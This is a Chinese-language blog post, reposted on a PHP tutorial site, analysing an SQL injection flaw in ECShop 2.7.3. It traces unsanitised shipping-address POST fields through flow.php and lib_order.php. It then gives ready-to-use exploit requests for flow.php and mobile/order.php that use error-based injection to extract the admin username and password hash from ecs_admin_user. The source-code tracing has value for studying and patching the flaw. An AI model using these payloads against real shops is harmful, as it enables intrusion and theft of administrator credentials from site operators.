好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

ecshop全版本注入分析 - 网站安全 - 自学php

 前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。     漏洞关键文件:     /includes/lib_order.php     关键函数: 01     function   available_shipping_list($region_id_list) 02 {   03     $sql   =   'SELECT s.shipping_id, s.shipping_code, s.shipping_name, '   . 04                 's.shipping_desc, s.insure, s.support_cod, a.configure '.   05             'FROM '   .   $GLOBALS['ecs']->table('shipping') .   ' AS s, '   . 06                 $GLOBALS['ecs']->table('shipping_area') .   ' AS a, '   .   07                 $GLOBALS['ecs']->table('area_region') .   ' AS r '   . 08             'WHERE r.region_id '   . db_create_in($region_id_list) .   09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 10     11     return   $GLOBALS['db']->getAll($sql); 12 }   显然对传入的参数没有任何过滤就带入了查询语句。   下面我们追踪这个函数在flow.php中:  第531行:    1 $shipping_list       = available_shipping_list($region);   再对传入变量进行追踪: 第530行:     1 $region   =   array($consignee['country'],   $consignee['province'],$consignee['city'],   $consignee['district']);   第473行:         1 $consignee   = get_consignee($_SESSION['user_id']);   到了一个关键函数: /includes/lib_order.php   01 function   get_consignee($user_id) 02 {   03     if   (isset($_SESSION['flow_consignee'])) 04     {   05         /* 如果存在session,则直接返回session中的收货人信息 */ 06     07         return   $_SESSION['flow_consignee']; 08     }   09     else 10     {   11         /* 如果不存在,则取得用户的默认收货人信息 */ 12         $arr   =   array();   13   14         if   ($user_id   > 0)   15         { 16             /* 取默认地址 */   17             $sql   =   "SELECT ua.*". 18                     " FROM "   .   $GLOBALS['ecs']->table('user_address') ."AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.   19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 20     21             $arr   =   $GLOBALS['db']->getRow($sql); 22         }   23   24         return   $arr;   25     } 26 }   显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?   关键点: 第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee); 这里对传入参数反转义存入$_SESSION中。   然后看下:      01 $consignee   =   array( 02         'address_id'      =>   empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),   03         'consignee'       =>   empty($_POST['consignee'])  ?   ''   : trim($_POST['consignee']), 04         'country'         =>   empty($_POST['country'])    ?   ''   :$_POST['country'],         05         'province'        =>   empty($_POST['province'])   ?   ''   :$_POST['province'], 06         'city'            =>   empty($_POST['city'])       ?   ''   :$_POST['city'],         07         'district'        =>   empty($_POST['district'])   ?   ''   :$_POST['district'], 08         'email'           =>   empty($_POST['email'])      ?   ''   :$_POST['email'],         09         'address'         =>   empty($_POST['address'])    ?   ''   :$_POST['address'], 10         'zipcode'         =>   empty($_POST['zipcode'])    ?   ''   : make_semiangle(trim($_POST['zipcode'])),         11         'tel'             =>   empty($_POST['tel'])        ?   ''   : make_semiangle(trim($_POST['tel'])), 12         'mobile'          =>   empty($_POST['mobile'])     ?   ''   : make_semiangle(trim($_POST['mobile'])),   13         'sign_building'   =>   empty($_POST['sign_building']) ?   ''   :$_POST['sign_building'], 14         'best_time'       =>   empty($_POST['best_time'])  ?   ''   :$_POST['best_time'],         15     );   好了注入就这样出现了。 ================== 注入测试: 环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16) 测试程序:ECShop_V2.7.3_UTF8_release1106   1.首先需要点击一个商品加入购物车 2.注册一个会员帐号 3.post提交数据 1 http://127.0.0.1/ecshop/flow.php 2     3 country=1&province=3')   and   (select   1   from(select   count(*),concat((select   (select   (SELECT   concat(user_name,0x7c,password)   FROM   ecs_admin_user limit 0,1))   from   information_schema.tables limit 0,1),floor(rand(0)*2))x   from   information_schema.tables   group   by   x)a)   and   1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ======================================= 举一反三,我们根据这个 漏洞 我们可以继续深入挖掘: 我们搜寻关键函数function available_shipping_list() 在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同 利用exp: 1.点击一个商品,点击购买商标 2.登录会员帐号 3.post提交: http://127.0.0.1/ecshop/mobile/order.php   country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=  

查看更多关于ecshop全版本注入分析 - 网站安全 - 自学php的详细内容...

  阅读:55次